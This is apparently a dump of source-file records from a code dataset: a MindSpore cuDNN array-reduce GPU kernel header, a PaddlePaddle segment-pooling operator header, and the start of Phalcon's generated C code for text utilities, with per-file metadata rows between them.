/** * Copyright 2019-2021 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef MINDSPORE_CCSRC_BACKEND_KERNEL_COMPILER_GPU_ARRAYS_ARRAY_REDUCE_GPU_KERNEL_H_ #define MINDSPORE_CCSRC_BACKEND_KERNEL_COMPILER_GPU_ARRAYS_ARRAY_REDUCE_GPU_KERNEL_H_ #include <map> #include <string> #include <vector> #include <algorithm> #include "backend/kernel_compiler/gpu/gpu_kernel.h" #include "backend/kernel_compiler/gpu/gpu_kernel_factory.h" #include "backend/kernel_compiler/gpu/kernel_constants.h" namespace mindspore { namespace kernel { const std::map<std::string, cudnnReduceTensorOp_t> kReduceTypeMap = { {"ReduceMax", CUDNN_REDUCE_TENSOR_MAX}, {"ReduceMean", CUDNN_REDUCE_TENSOR_AVG}, {"ReduceSum", CUDNN_REDUCE_TENSOR_ADD}, {"ReduceMin", CUDNN_REDUCE_TENSOR_MIN}, {"ReduceAny", CUDNN_REDUCE_TENSOR_MAX}, {"ReduceAll", CUDNN_REDUCE_TENSOR_MUL}, {"ReduceProd", CUDNN_REDUCE_TENSOR_MUL}, }; template <typename T> class ArrayReduceGpuKernel : public GpuKernel { public: ArrayReduceGpuKernel() { ResetResource(); } ~ArrayReduceGpuKernel() override { DestroyResource(); } const std::vector<size_t> &GetInputSizeList() const override { return input_size_list_; } const std::vector<size_t> &GetOutputSizeList() const override { return output_size_list_; } const std::vector<size_t> &GetWorkspaceSizeList() const override { return workspace_size_list_; } bool Launch(const std::vector<AddressPtr> &inputs, const std::vector<AddressPtr> &workspace, const std::vector<AddressPtr> &outputs, void *stream_ptr) override { if (is_null_input_) { return true; } T *input_addr = GetDeviceAddress<T>(inputs, 0); T *output_addr = GetDeviceAddress<T>(outputs, 0); T *workspace_addr = GetPossiblyNullDeviceAddress<T>(workspace, 0); T alpha = static_cast<T>(1.0f); T beta = static_cast<T>(0.0f); if (all_match_) { MS_LOG(DEBUG) << "The corresponding dimensions of the input and output tensors all match. No need to call cuDNN kernel."; CHECK_CUDA_RET_WITH_EXCEPT(kernel_node_, cudaMemcpyAsync(output_addr, input_addr, inputs[0]->size, cudaMemcpyDeviceToDevice, reinterpret_cast<cudaStream_t>(stream_ptr)), "cudaMemcpyAsync failed in ArrayReduceGpuKernel::Launch."); } else { if (data_type_ == CUDNN_DATA_DOUBLE) { CHECK_CUDNN_RET_WITH_EXCEPT( kernel_node_, cudnnReduceTensor(cudnn_handle_, reduce_tensor_descriptor_, nullptr, 0, workspace_addr, workspace_size_, &alpha, inputA_descriptor_, input_addr, &beta, outputC_descriptor_, output_addr), "cudnnReduceTensor failed."); } else { const float alphaf = static_cast<float>(alpha); const float betaf = static_cast<float>(beta); CHECK_CUDNN_RET_WITH_EXCEPT( kernel_node_, cudnnReduceTensor(cudnn_handle_, reduce_tensor_descriptor_, nullptr, 0, workspace_addr, workspace_size_, &alphaf, inputA_descriptor_, input_addr, &betaf, outputC_descriptor_, output_addr), "cudnnReduceTensor failed."); } } return true; } bool Init(const CNodePtr &kernel_node) override { kernel_node_ = kernel_node; InitResource(); auto type_id = AnfAlgo::GetInputDeviceDataType(kernel_node, 0); auto type_name = TypeIdLabel(type_id); auto node_name = AnfAlgo::GetCNodeName(kernel_node); if ((node_name == kReduceAnyOpName || node_name == kReduceAllOpName) && type_id != kNumberTypeBool) { MS_LOG(ERROR) << "Input data type of ReduceAny or ReduceAll should be bool, but got " << type_name; return false; } data_type_ = GetCudnnDataType(type_name); size_t input_num = AnfAlgo::GetInputTensorNum(kernel_node); if (input_num != 1) { MS_LOG(ERROR) << "Input number is " << input_num << ", but reduce op needs 1 inputs."; return false; } size_t output_num = AnfAlgo::GetOutputTensorNum(kernel_node); if (output_num != 1) { MS_LOG(ERROR) << "Output number is " << output_num << ", but reduce op needs 1 output."; return false; } int input_dim_length = SizeToInt(AnfAlgo::GetInputRealDeviceShapeIfExist(kernel_node, 0).size()); auto prim = AnfAlgo::GetCNodePrimitive(kernel_node); MS_EXCEPTION_IF_NULL(prim); if (prim->GetAttr("axis")->isa<ValueTuple>() || prim->GetAttr("axis")->isa<ValueList>()) { std::vector<int> attr_axis; std::vector<int64_t> attr_axis_me = GetAttr<std::vector<int64_t>>(kernel_node, "axis"); (void)std::transform(attr_axis_me.begin(), attr_axis_me.end(), std::back_inserter(attr_axis), [](const int64_t &value) { return static_cast<int>(value); }); if (attr_axis.empty()) { axis_.push_back(-1); } else { for (auto axis : attr_axis) { axis < 0 ? axis_.push_back(axis + input_dim_length) : axis_.push_back(axis); } std::sort(axis_.begin(), axis_.end()); auto multiple_pos = std::unique(axis_.begin(), axis_.end()); axis_.erase(multiple_pos, axis_.end()); } } else if (prim->GetAttr("axis")->isa<Int64Imm>()) { int axis = static_cast<int>(GetAttr<int64_t>(kernel_node, "axis")); axis < 0 ? axis_.push_back(axis + input_dim_length) : axis_.push_back(axis); } else { MS_LOG(EXCEPTION) << "Attribute axis type is invalid."; } keep_dims_ = GetAttr<bool>(kernel_node, "keep_dims"); auto inputA_shape = AnfAlgo::GetInputRealDeviceShapeIfExist(kernel_node, 0); auto outputC_shape = AnfAlgo::GetOutputRealDeviceShapeIfExist(kernel_node, 0); is_null_input_ = CHECK_NULL_INPUT(inputA_shape) || CHECK_NULL_INPUT(outputC_shape); if (is_null_input_) { MS_LOG(WARNING) << "For 'ArrayReduceGpuKernel', input or output is null"; InitSizeLists(); return true; } InferInAndOutDesc(inputA_shape, outputC_shape); InferArrayReduceType(kernel_node); InitSizeLists(); return true; } void ResetResource() noexcept override { cudnn_handle_ = nullptr; reduce_tensor_op_ = CUDNN_REDUCE_TENSOR_ADD; data_type_ = CUDNN_DATA_FLOAT; nan_prop_ = CUDNN_NOT_PROPAGATE_NAN; reduce_indices_ = CUDNN_REDUCE_TENSOR_NO_INDICES; reduce_tensor_descriptor_ = nullptr; inputA_descriptor_ = nullptr; outputC_descriptor_ = nullptr; keep_dims_ = false; all_match_ = false; is_null_input_ = false; input_size_ = 0; output_size_ = 0; workspace_size_ = 0; axis_.clear(); input_size_list_.clear(); output_size_list_.clear(); workspace_size_list_.clear(); } void DestroyResource() noexcept override { CHECK_CUDNN_RET_WITH_ERROR(kernel_node_, cudnnDestroyReduceTensorDescriptor(reduce_tensor_descriptor_), "cudnnDestroyReduceTensorDescriptor failed."); CHECK_CUDNN_RET_WITH_ERROR(kernel_node_, cudnnDestroyTensorDescriptor(inputA_descriptor_), "cudnnDestroyTensorDescriptor failed."); CHECK_CUDNN_RET_WITH_ERROR(kernel_node_, cudnnDestroyTensorDescriptor(outputC_descriptor_), "cudnnDestroyTensorDescriptor failed."); } protected: void InitResource() override { cudnn_handle_ = device::gpu::GPUDeviceManager::GetInstance().GetCudnnHandle(); CHECK_CUDNN_RET_WITH_EXCEPT(kernel_node_, cudnnCreateReduceTensorDescriptor(&reduce_tensor_descriptor_), "cudnnCreateReduceTensorDescriptor failed."); CHECK_CUDNN_RET_WITH_EXCEPT(kernel_node_, cudnnCreateTensorDescriptor(&inputA_descriptor_), "cudnnCreateTensorDescriptor failed."); CHECK_CUDNN_RET_WITH_EXCEPT(kernel_node_, cudnnCreateTensorDescriptor(&outputC_descriptor_), "cudnnCreateTensorDescriptor failed."); } void InitSizeLists() override { CHECK_CUDNN_RET_WITH_EXCEPT(kernel_node_, cudnnGetTensorSizeInBytes(inputA_descriptor_, &input_size_), "cudnnGetTensorSizeInBytes failed."); input_size_list_.push_back(input_size_); CHECK_CUDNN_RET_WITH_EXCEPT(kernel_node_, cudnnGetTensorSizeInBytes(outputC_descriptor_, &output_size_), "cudnnGetTensorSizeInBytes failed."); output_size_list_.push_back(output_size_); CHECK_CUDNN_RET_WITH_EXCEPT( kernel_node_, cudnnGetReductionWorkspaceSize(cudnn_handle_, reduce_tensor_descriptor_, inputA_descriptor_, outputC_descriptor_, &workspace_size_), "cudnnGetReductionWorkspaceSize failed."); workspace_size_list_.push_back(workspace_size_); return; } private: void InferArrayReduceType(const CNodePtr &kernel_node) { std::string kernel_name = AnfAlgo::GetCNodeName(kernel_node); auto iter = kReduceTypeMap.find(kernel_name); if (iter == kReduceTypeMap.end()) { MS_LOG(EXCEPTION) << "Array reduce kernel type " << kernel_name << " is not supported."; } reduce_tensor_op_ = iter->second; // add check for float64 cudnnDataType_t comp_type = (data_type_ == CUDNN_DATA_DOUBLE) ? CUDNN_DATA_DOUBLE : CUDNN_DATA_FLOAT; CHECK_CUDNN_RET_WITH_EXCEPT(kernel_node_, cudnnSetReduceTensorDescriptor(reduce_tensor_descriptor_, reduce_tensor_op_, comp_type, nan_prop_, reduce_indices_, CUDNN_32BIT_INDICES), "cudnnSetReduceTensorDescriptor failed"); return; } void InferInAndOutDesc(const std::vector<size_t> &input_shape, const std::vector<size_t> &output_shape) { std::vector<size_t> inputA; std::vector<size_t> outputC_shape = output_shape; const int split_dim = 4; CheckTensorSize({input_shape, output_shape}); if (input_shape.size() <= split_dim) { ShapeNdTo4d(input_shape, &inputA); CHECK_CUDNN_RET_WITH_EXCEPT( kernel_node_, cudnnSetTensor4dDescriptor(inputA_descriptor_, CUDNN_TENSOR_NCHW, data_type_, SizeToInt(inputA[0]), SizeToInt(inputA[1]), SizeToInt(inputA[2]), SizeToInt(inputA[3])), "cudnnSetTensor4dDescriptor failed"); } else { CudnnSetTensorNdDescriptor(input_shape, inputA_descriptor_, data_type_, kernel_node_); for (auto dim : input_shape) { inputA.emplace_back(SizeToInt(dim)); } } if (axis_[0] == -1) { outputC_shape.resize(input_shape.size(), 1); if (outputC_shape.size() <= split_dim) { CHECK_CUDNN_RET_WITH_EXCEPT( kernel_node_, cudnnSetTensor4dDescriptor(outputC_descriptor_, CUDNN_TENSOR_NCHW, data_type_, 1, 1, 1, 1), "cudnnSetTensor4dDescriptor failed"); } else { CudnnSetTensorNdDescriptor(outputC_shape, outputC_descriptor_, data_type_, kernel_node_); } for (auto dim : inputA) { if (dim != 1) { return; } } all_match_ = true; return; } std::vector<size_t> outputC; if (!keep_dims_) { for (auto i : axis_) { (void)(outputC_shape.insert(outputC_shape.begin() + i, 1)); } } if (outputC_shape.size() <= split_dim) { ShapeNdTo4d(outputC_shape, &outputC); CHECK_CUDNN_RET_WITH_EXCEPT( kernel_node_, cudnnSetTensor4dDescriptor(outputC_descriptor_, CUDNN_TENSOR_NCHW, data_type_, SizeToInt(outputC[0]), SizeToInt(outputC[1]), SizeToInt(outputC[2]), SizeToInt(outputC[3])), "cudnnSetTensor4dDescriptor failed"); } else { CudnnSetTensorNdDescriptor(outputC_shape, outputC_descriptor_, data_type_, kernel_node_); for (auto dim : outputC_shape) { outputC.emplace_back(SizeToInt(dim)); } } if (inputA == outputC) { all_match_ = true; } return; } cudnnHandle_t cudnn_handle_; cudnnReduceTensorOp_t reduce_tensor_op_; cudnnDataType_t data_type_; cudnnNanPropagation_t nan_prop_; cudnnReduceTensorIndices_t reduce_indices_; cudnnReduceTensorDescriptor_t reduce_tensor_descriptor_; cudnnTensorDescriptor_t inputA_descriptor_; cudnnTensorDescriptor_t outputC_descriptor_; std::vector<int> axis_; bool keep_dims_; bool all_match_; bool is_null_input_; std::vector<size_t> input_size_list_; std::vector<size_t> output_size_list_; std::vector<size_t> workspace_size_list_; size_t input_size_; size_t output_size_; size_t workspace_size_; }; } // namespace kernel } // namespace mindspore #endif // MINDSPORE_CCSRC_BACKEND_KERNEL_COMPILER_GPU_ARRAYS_ARRAY_REDUCE_GPU_KERNEL_H_
42.919094
119
0.690092
[ "vector", "transform" ]
307bf4010f7ffec1e0d6fb3bf883a646590878bc
6,888
h
C
paddle/fluid/operators/segment_pool_op.h
HydrogenSulfate/Paddle
42cfd15e672e1ed7ad0242c1ae9e492f197599d6
[ "Apache-2.0" ]
2
2021-11-12T11:31:12.000Z
2021-12-05T10:30:28.000Z
paddle/fluid/operators/segment_pool_op.h
HydrogenSulfate/Paddle
42cfd15e672e1ed7ad0242c1ae9e492f197599d6
[ "Apache-2.0" ]
1
2021-11-01T06:28:16.000Z
2021-11-01T06:28:16.000Z
paddle/fluid/operators/segment_pool_op.h
HydrogenSulfate/Paddle
42cfd15e672e1ed7ad0242c1ae9e492f197599d6
[ "Apache-2.0" ]
5
2021-12-10T11:20:06.000Z
2022-02-18T05:18:12.000Z
/* Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #pragma once #include <string> #include "paddle/fluid/framework/eigen.h" #include "paddle/fluid/framework/op_registry.h" #include "paddle/fluid/operators/math/math_function.h" #include "paddle/fluid/operators/math/segment_pooling.h" #include "paddle/fluid/platform/macros.h" namespace paddle { namespace operators { using Tensor = framework::Tensor; template <typename DeviceContext, typename T, typename IndexT> void SegmentKernelLaunchHelper(const framework::ExecutionContext& context) { auto* input = context.Input<Tensor>("X"); auto* segment = context.Input<Tensor>("SegmentIds"); auto* output = context.Output<Tensor>("Out"); std::string pooltype = context.Attr<std::string>("pooltype"); Tensor* summed_ids = nullptr; int64_t num_indices = segment->numel(); PADDLE_ENFORCE_EQ( num_indices, input->dims()[0], platform::errors::InvalidArgument( "Segment_ids should be the same size as dimension 0 of input X.")); PADDLE_ENFORCE_EQ(num_indices, segment->dims()[0], platform::errors::InvalidArgument( "Segment_ids should be 1-D tensor, or it's other " "dimension size is 1. Segment_ids's shape is: [%s].", segment->dims())); if (input->numel() == 0 || segment->numel() == 0) { return; } bool cpu_place = context.GetPlace().type() == typeid(platform::CPUPlace); if (cpu_place) { auto dims = input->dims(); auto* segment_ids = segment->data<IndexT>(); dims[0] = static_cast<int64_t>(segment_ids[segment->numel() - 1] + 1); PADDLE_ENFORCE_GT( dims[0], 0, platform::errors::InvalidArgument( "Segment ids must be >= 0, but got last id %d", dims[0])); output->Resize({dims}); output->mutable_data<T>(context.GetPlace()); math::SetConstant<DeviceContext, T> set_zero; auto& dev_ctx = context.template device_context<DeviceContext>(); set_zero(dev_ctx, output, static_cast<T>(0)); } #if defined(PADDLE_WITH_CUDA) || defined(PADDLE_WITH_HIP) if (!cpu_place) { Tensor length; length.mutable_data<IndexT>(framework::make_ddim({1}), platform::CPUPlace()); IndexT* length_data = length.data<IndexT>(); const IndexT* segment_ids = segment->data<IndexT>(); #ifdef PADDLE_WITH_HIP PADDLE_ENFORCE_GPU_SUCCESS( hipMemcpy(length_data, segment_ids + num_indices - 1, sizeof(IndexT), hipMemcpyDeviceToHost)); #else PADDLE_ENFORCE_GPU_SUCCESS( cudaMemcpy(length_data, segment_ids + num_indices - 1, sizeof(IndexT), cudaMemcpyDeviceToHost)); #endif IndexT length_host = length_data[0]; length_host++; PADDLE_ENFORCE_GT( length_host, 0, platform::errors::InvalidArgument( "Segment ids must be >= 0, but got last id %d", length_data[0])); auto dims = input->dims(); dims[0] = static_cast<int64_t>(length_host); output->Resize({dims}); output->mutable_data<T>(context.GetPlace()); T init_value = 0; if (pooltype == "MAX") { init_value = static_cast<T>(-FLT_MAX); } else if (pooltype == "MIN") { init_value = static_cast<T>(FLT_MAX); } math::SetConstant<DeviceContext, T> setconst; auto& dev_ctx = context.template device_context<DeviceContext>(); setconst(dev_ctx, output, static_cast<T>(init_value)); // the gpu kernel of mean pool record the counts of segment_ids if (pooltype == "MEAN") { summed_ids = context.Output<Tensor>("SummedIds"); summed_ids->Resize({dims[0], 1}); summed_ids->mutable_data<T>(context.GetPlace()); setconst(dev_ctx, summed_ids, static_cast<T>(1e-12)); } } #endif SegmentPoolFunctor<DeviceContext, T, IndexT> pool; pool(context.template device_context<DeviceContext>(), *input, *segment, output, summed_ids, pooltype); } template <typename DeviceContext, typename T> class SegmentPoolKernel : public framework::OpKernel<T> { public: void Compute(const framework::ExecutionContext& context) const override { auto* segment = context.Input<Tensor>("SegmentIds"); auto index_type = segment->type(); if (index_type == framework::proto::VarType::INT32) { SegmentKernelLaunchHelper<DeviceContext, T, int>(context); } else if (index_type == framework::proto::VarType::INT64) { SegmentKernelLaunchHelper<DeviceContext, T, int64_t>(context); } else { PADDLE_THROW(platform::errors::InvalidArgument( "Unsupported index type, Expected int, int64, but got %s.", index_type)); } } }; template <typename DeviceContext, typename T> class SegmentPoolGradKernel : public framework::OpKernel<T> { public: void Compute(const framework::ExecutionContext& context) const override { auto* input = context.Input<Tensor>("X"); auto* output = context.Input<Tensor>("Out"); auto* segment = context.Input<Tensor>("SegmentIds"); auto* out_g = context.Input<Tensor>(framework::GradVarName("Out")); auto* in_g = context.Output<Tensor>(framework::GradVarName("X")); std::string pooltype = context.Attr<std::string>("pooltype"); const Tensor* summed_ids = nullptr; if (pooltype == "MEAN") { summed_ids = context.Input<Tensor>("SummedIds"); } in_g->mutable_data<T>(context.GetPlace()); math::SetConstant<DeviceContext, T> set_zero; auto& dev_ctx = context.template device_context<DeviceContext>(); set_zero(dev_ctx, in_g, static_cast<T>(0)); auto index_type = segment->type(); if (index_type == framework::proto::VarType::INT32) { SegmentPoolGradFunctor<DeviceContext, T, int> pool; pool(context.template device_context<DeviceContext>(), *input, *output, *out_g, *segment, in_g, summed_ids, pooltype); } else if (index_type == framework::proto::VarType::INT64) { SegmentPoolGradFunctor<DeviceContext, T, int64_t> pool; pool(context.template device_context<DeviceContext>(), *input, *output, *out_g, *segment, in_g, summed_ids, pooltype); } else { PADDLE_THROW(platform::errors::InvalidArgument( "Unsupported index type, Expected int, int64, but got %s.", index_type)); } } }; } // namespace operators } // namespace paddle
38.915254
78
0.676394
[ "shape" ]
308235e392f26544246beb650be4ec7625dbeaff
5,009
h
C
Modules/QtWidgets/include/QmitkRenderWindow.h
hgoetzTHU/NAMI_MITK_20201127
c670e289d6e7961c54021d83933dcbdc5baa290d
[ "BSD-3-Clause" ]
1
2022-03-03T12:03:32.000Z
2022-03-03T12:03:32.000Z
Modules/QtWidgets/include/QmitkRenderWindow.h
hgoetzTHU/NAMI_MITK_20201127
c670e289d6e7961c54021d83933dcbdc5baa290d
[ "BSD-3-Clause" ]
null
null
null
Modules/QtWidgets/include/QmitkRenderWindow.h
hgoetzTHU/NAMI_MITK_20201127
c670e289d6e7961c54021d83933dcbdc5baa290d
[ "BSD-3-Clause" ]
1
2020-11-27T09:41:18.000Z
2020-11-27T09:41:18.000Z
/*============================================================================ The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center (DKFZ) All rights reserved. Use of this source code is governed by a 3-clause BSD license that can be found in the LICENSE file. ============================================================================*/ #ifndef QMITKRENDERWINDOW_H #define QMITKRENDERWINDOW_H #include "mitkRenderWindowBase.h" #include "QmitkRenderWindowMenu.h" #include <MitkQtWidgetsExports.h> #include <vtkGenericOpenGLRenderWindow.h> #include <QVTKOpenGLNativeWidget.h> #include "mitkBaseRenderer.h" #include "mitkInteractionEventConst.h" class QDragEnterEvent; class QDropEvent; class QInputEvent; class QMouseEvent; /** * \ingroup QmitkModule * \brief MITK implementation of the QVTKWidget */ class MITKQTWIDGETS_EXPORT QmitkRenderWindow : public QVTKOpenGLNativeWidget, public mitk::RenderWindowBase { Q_OBJECT public: QmitkRenderWindow( QWidget *parent = nullptr, const QString &name = "unnamed renderwindow", mitk::VtkPropRenderer *renderer = nullptr); ~QmitkRenderWindow() override; /** * \brief Whether Qt events should be passed to parent (default: true) * * With introduction of the QVTKWidget the behaviour regarding Qt events changed. * QVTKWidget "accepts" Qt events like mouse clicks (i.e. set an "accepted" flag). * When this flag is set, Qt fininshed handling of this event -- otherwise it is * reached through to the widget's parent. * * This reaching through to the parent was implicitly required by QmitkMaterialWidget / QmitkMaterialShowCase. * * The default behaviour of QmitkRenderWindow is now to clear the "accepted" flag * of Qt events after they were handled by QVTKWidget. This way parents can also * handle events. * * If you don't want this behaviour, call SetResendQtEvents(true) on your render window. */ virtual void SetResendQtEvents(bool resend); // Set Layout Index to define the Layout Type void SetLayoutIndex(QmitkRenderWindowMenu::LayoutIndex layoutIndex); // Get Layout Index to define the Layout Type QmitkRenderWindowMenu::LayoutIndex GetLayoutIndex(); // MenuWidget need to update the Layout Design List when Layout had changed void LayoutDesignListChanged(QmitkRenderWindowMenu::LayoutDesign layoutDesign); // Activate or Deactivate MenuWidget. void ActivateMenuWidget(bool state); bool GetActivateMenuWidgetFlag() { return m_MenuWidgetActivated; } // Get it from the QVTKWidget parent vtkRenderWindow *GetVtkRenderWindow() override { return this->renderWindow(); } vtkRenderWindowInteractor *GetVtkRenderWindowInteractor() override { return nullptr; } protected: // catch-all event handler bool event(QEvent *e) override; // overloaded move handler void moveEvent(QMoveEvent *event) override; // overloaded show handler void showEvent(QShowEvent *event) override; // overloaded enter handler void enterEvent(QEvent *) override; // overloaded leave handler void leaveEvent(QEvent *) override; // Overloaded resize handler, see decs in QVTKOpenGLWidget. // Basically, we have to ensure the VTK rendering is updated for each change in window size. void resizeGL(int w, int h) override; /// \brief Simply says we accept the event type. void dragEnterEvent(QDragEnterEvent *event) override; /// \brief If the dropped type is application/x-mitk-datanodes we process the request by converting to mitk::DataNode /// pointers and emitting the NodesDropped signal. void dropEvent(QDropEvent *event) override; void AdjustRenderWindowMenuVisibility(const QPoint &pos); Q_SIGNALS: void LayoutDesignChanged(QmitkRenderWindowMenu::LayoutDesign); void ResetView(); void CrosshairRotationModeChanged(int); void CrosshairVisibilityChanged(bool); void moved(); /// \brief Emits a signal to say that this window has had the following nodes dropped on it. void NodesDropped(QmitkRenderWindow *thisWindow, std::vector<mitk::DataNode *> nodes); void mouseEvent(QMouseEvent *); private Q_SLOTS: void DeferredHideMenu(); private: // Helper Functions to Convert Qt-Events to Mitk-Events mitk::Point2D GetMousePosition(QMouseEvent *me) const; mitk::Point2D GetMousePosition(QWheelEvent *we) const; mitk::InteractionEvent::MouseButtons GetEventButton(QMouseEvent *me) const; mitk::InteractionEvent::MouseButtons GetButtonState(QMouseEvent *me) const; mitk::InteractionEvent::ModifierKeys GetModifiers(QInputEvent *me) const; mitk::InteractionEvent::MouseButtons GetButtonState(QWheelEvent *we) const; std::string GetKeyLetter(QKeyEvent *ke) const; int GetDelta(QWheelEvent *we) const; bool m_ResendQtEvents; QmitkRenderWindowMenu *m_MenuWidget; bool m_MenuWidgetActivated; QmitkRenderWindowMenu::LayoutIndex m_LayoutIndex; vtkSmartPointer<vtkGenericOpenGLRenderWindow> m_InternalRenderWindow; }; #endif // QMITKRENDERWINDOW_H
32.316129
119
0.747055
[ "render", "vector" ]
308694e07daefdbeeaa92288fd279f54cf728c49
24,557
c
C
ext/phalcon/text.zep.c
rengen12/phalcon
19df70696430788a0cc1df8636f32a3558aa5b55
[ "BSD-3-Clause" ]
null
null
null
ext/phalcon/text.zep.c
rengen12/phalcon
19df70696430788a0cc1df8636f32a3558aa5b55
[ "BSD-3-Clause" ]
null
null
null
ext/phalcon/text.zep.c
rengen12/phalcon
19df70696430788a0cc1df8636f32a3558aa5b55
[ "BSD-3-Clause" ]
null
null
null
#ifdef HAVE_CONFIG_H #include "../ext_config.h" #endif #include <php.h> #include "../php_ext.h" #include "../ext.h" #include <Zend/zend_operators.h> #include <Zend/zend_exceptions.h> #include <Zend/zend_interfaces.h> #include "kernel/main.h" #include "kernel/memory.h" #include "kernel/string.h" #include "ext/spl/spl_exceptions.h" #include "kernel/exception.h" #include "kernel/operators.h" #include "kernel/array.h" #include "kernel/concat.h" #include "kernel/fcall.h" #include "kernel/math.h" #include "kernel/object.h" #include "kernel/hash.h" /** * Phalcon\Text * * Provides utilities to work with texts */ ZEPHIR_INIT_CLASS(Phalcon_Text) { ZEPHIR_REGISTER_CLASS(Phalcon, Text, phalcon, text, phalcon_text_method_entry, ZEND_ACC_EXPLICIT_ABSTRACT_CLASS); zend_declare_class_constant_long(phalcon_text_ce, SL("RANDOM_ALNUM"), 0 TSRMLS_CC); zend_declare_class_constant_long(phalcon_text_ce, SL("RANDOM_ALPHA"), 1 TSRMLS_CC); zend_declare_class_constant_long(phalcon_text_ce, SL("RANDOM_HEXDEC"), 2 TSRMLS_CC); zend_declare_class_constant_long(phalcon_text_ce, SL("RANDOM_NUMERIC"), 3 TSRMLS_CC); zend_declare_class_constant_long(phalcon_text_ce, SL("RANDOM_NOZERO"), 4 TSRMLS_CC); return SUCCESS; } /** * Converts strings to camelize style * * <code> * echo Phalcon\Text::camelize("coco_bongo"); // CocoBongo * echo Phalcon\Text::camelize("co_co-bon_go", "-"); // Co_coBon_go * echo Phalcon\Text::camelize("co_co-bon_go", "_-"); // CoCoBonGo * </code> */ PHP_METHOD(Phalcon_Text, camelize) { zval *str_param = NULL, *delimiter = NULL, *_0; zval *str = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 1, &str_param, &delimiter); if (unlikely(Z_TYPE_P(str_param) != IS_STRING && Z_TYPE_P(str_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'str' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(str_param) == IS_STRING)) { zephir_get_strval(str, str_param); } else { ZEPHIR_INIT_VAR(str); ZVAL_EMPTY_STRING(str); } if (!delimiter) { delimiter = ZEPHIR_GLOBAL(global_null); } ZEPHIR_INIT_VAR(_0); zephir_camelize(_0, str, delimiter ); RETURN_CCTOR(_0); } /** * Uncamelize strings which are camelized * * <code> * echo Phalcon\Text::uncamelize("CocoBongo"); // coco_bongo * echo Phalcon\Text::uncamelize("CocoBongo", "-"); // coco-bongo * </code> */ PHP_METHOD(Phalcon_Text, uncamelize) { zval *str_param = NULL, *delimiter = NULL, *_0; zval *str = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 1, &str_param, &delimiter); if (unlikely(Z_TYPE_P(str_param) != IS_STRING && Z_TYPE_P(str_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'str' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(str_param) == IS_STRING)) { zephir_get_strval(str, str_param); } else { ZEPHIR_INIT_VAR(str); ZVAL_EMPTY_STRING(str); } if (!delimiter) { delimiter = ZEPHIR_GLOBAL(global_null); } ZEPHIR_INIT_VAR(_0); zephir_uncamelize(_0, str, delimiter ); RETURN_CCTOR(_0); } /** * Adds a number to a string or increment that number if it already is defined * * <code> * echo Phalcon\Text::increment("a"); // "a_1" * echo Phalcon\Text::increment("a_1"); // "a_2" * </code> */ PHP_METHOD(Phalcon_Text, increment) { zval *str_param = NULL, *separator_param = NULL, *parts = NULL, *number = NULL, *_0; zval *str = NULL, *separator = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 1, &str_param, &separator_param); zephir_get_strval(str, str_param); if (!separator_param) { ZEPHIR_INIT_VAR(separator); ZVAL_STRING(separator, "_", 1); } else { zephir_get_strval(separator, separator_param); } ZEPHIR_INIT_VAR(parts); zephir_fast_explode(parts, separator, str, LONG_MAX TSRMLS_CC); ZEPHIR_OBS_VAR(number); if (zephir_array_isset_long_fetch(&number, parts, 1, 0 TSRMLS_CC)) { ZEPHIR_SEPARATE(number); zephir_increment(number); } else { ZEPHIR_INIT_NVAR(number); ZVAL_LONG(number, 1); } zephir_array_fetch_long(&_0, parts, 0, PH_NOISY | PH_READONLY, "phalcon/text.zep", 87 TSRMLS_CC); ZEPHIR_CONCAT_VVV(return_value, _0, separator, number); RETURN_MM(); } /** * Generates a random string based on the given type. Type is one of the RANDOM_* constants * * <code> * // "aloiwkqz" * echo Phalcon\Text::random( * Phalcon\Text::RANDOM_ALNUM * ); * </code> */ PHP_METHOD(Phalcon_Text, random) { zephir_fcall_cache_entry *_3 = NULL, *_18 = NULL; long length; zval *type_param = NULL, *length_param = NULL, *pool = NULL, *str = NULL, _0$$3 = zval_used_for_init, _1$$3 = zval_used_for_init, *_2$$3 = NULL, *_4$$3 = NULL, _5$$4 = zval_used_for_init, _6$$4 = zval_used_for_init, *_7$$4 = NULL, *_8$$4 = NULL, _9$$5, _10$$5, _11$$6, _12$$6, _13$$7 = zval_used_for_init, _14$$7 = zval_used_for_init, *_15$$7 = NULL, *_16$$7 = NULL, *_17$$7 = NULL, *_19$$8, _20$$8 = zval_used_for_init, _21$$8 = zval_used_for_init; int type, ZEPHIR_LAST_CALL_STATUS, end = 0; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 0, 2, &type_param, &length_param); if (!type_param) { type = 0; } else { type = zephir_get_intval(type_param); } if (!length_param) { length = 8; } else { length = zephir_get_intval(length_param); } ZEPHIR_INIT_VAR(str); ZVAL_STRING(str, "", 1); do { if (type == 1) { ZEPHIR_SINIT_VAR(_0$$3); ZVAL_STRING(&_0$$3, "a", 0); ZEPHIR_SINIT_VAR(_1$$3); ZVAL_STRING(&_1$$3, "z", 0); ZEPHIR_CALL_FUNCTION(&_2$$3, "range", &_3, 446, &_0$$3, &_1$$3); zephir_check_call_status(); ZEPHIR_SINIT_NVAR(_0$$3); ZVAL_STRING(&_0$$3, "A", 0); ZEPHIR_SINIT_NVAR(_1$$3); ZVAL_STRING(&_1$$3, "Z", 0); ZEPHIR_CALL_FUNCTION(&_4$$3, "range", &_3, 446, &_0$$3, 